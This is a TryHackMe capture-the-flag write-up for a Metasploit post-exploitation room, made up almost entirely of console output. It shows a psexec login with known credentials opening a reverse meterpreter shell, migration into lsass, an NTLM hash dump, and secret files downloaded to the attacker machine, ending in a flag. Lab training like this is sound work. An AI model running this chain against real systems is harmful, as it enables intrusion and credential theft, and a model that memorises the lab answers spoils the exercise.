Metasploit: Post-Exploitation (TryHackMe)
Link to challenge on TryHackMe: Metasploit: Post-Exploitation
msfconsole
msf > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) > set RHOSTS 10.113.188.138
RHOSTS => 10.113.188.138
msf exploit(windows/smb/psexec) > set SMBUser ballen
SMBUser => ballen
msf exploit(windows/smb/psexec) > set SMBPass Password1
SMBPass => Password1
msf exploit(windows/smb/psexec) > set LHOST 10.113.81.142
LHOST => 10.113.81.142
msf exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 10.113.81.142:4444
[*] 10.113.188.138:445 - Connecting to the server...
[*] 10.113.188.138:445 - Authenticating to 10.113.188.138:445 as user 'ballen'...
[*] 10.113.188.138:445 - Selecting PowerShell target
[*] 10.113.188.138:445 - Executing the payload...
[+] 10.113.188.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (199238 bytes) to 10.113.188.138
[*] Meterpreter session 1 opened (10.113.81.142:4444 -> 10.113.188.138:49736) at 2026-06-08 19:17:07 +0000
meterpreter > sysinfo
Computer : STRATFORD-WS01
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x86/windows
use post/windows/gather/enum_shares
msf post(windows/gather/enum_shares) > set SESSION 1
SESSION => 1
msf post(windows/gather/enum_shares) > run
[*] Running module against STRATFORD-WS01 (10.113.188.138)
[*] The following shares were found:
[*] Name: PROJECTS
[*] Path: C:\PROJECTS
[*] Remark: Startford Projects
[*] Type: DISK
[*]
[*] Post module execution completed
ps
## 620 508 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
migrate 620
[*] Migrating from 520 to 620...
[*] Migration completed successfully.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dfe3378335d43f9764e581b856a662a:::
ballen:1008:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jchambers:1009:aad3b435b51404eeaad3b435b51404ee:69596c7aa1e8daee17f8e78870e25a5c:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
meterpreter >
search -f secrets.txt
Found 1 result...
=================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt 31 2026-03-26 14:37:28 +0000
meterpreter > download "c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt" /root/Downloads
[*] Downloading: c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt -> /root/Downloads/secrets.txt
[*] Downloaded 31.00 B of 31.00 B (100.0%): c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt -> /root/Downloads/secrets.txt
[*] Completed : c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt -> /root/Downloads/secrets.txt
cat Downloads/secrets.txt
Twitter password: KDSvbsw3849!
root@ip-10-113-81-142:~#
search -f realsecret.txt
Found 1 result...
=================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\inetpub\wwwroot\realsecret.txt 20 2026-03-27 12:44:46 +0000
meterpreter > download "c:\inetpub\wwwroot\realsecret.txt" /root/Downloads
[*] Downloading: c:\inetpub\wwwroot\realsecret.txt -> /root/Downloads/realsecret.txt
[*] Downloaded 20.00 B of 20.00 B (100.0%): c:\inetpub\wwwroot\realsecret.txt -> /root/Downloads/realsecret.txt
[*] Completed : c:\inetpub\wwwroot\realsecret.txt -> /root/Downloads/realsecret.txt
meterpreter >
cat Downloads/realsecret.txt
THM{Post-Spl1tation}
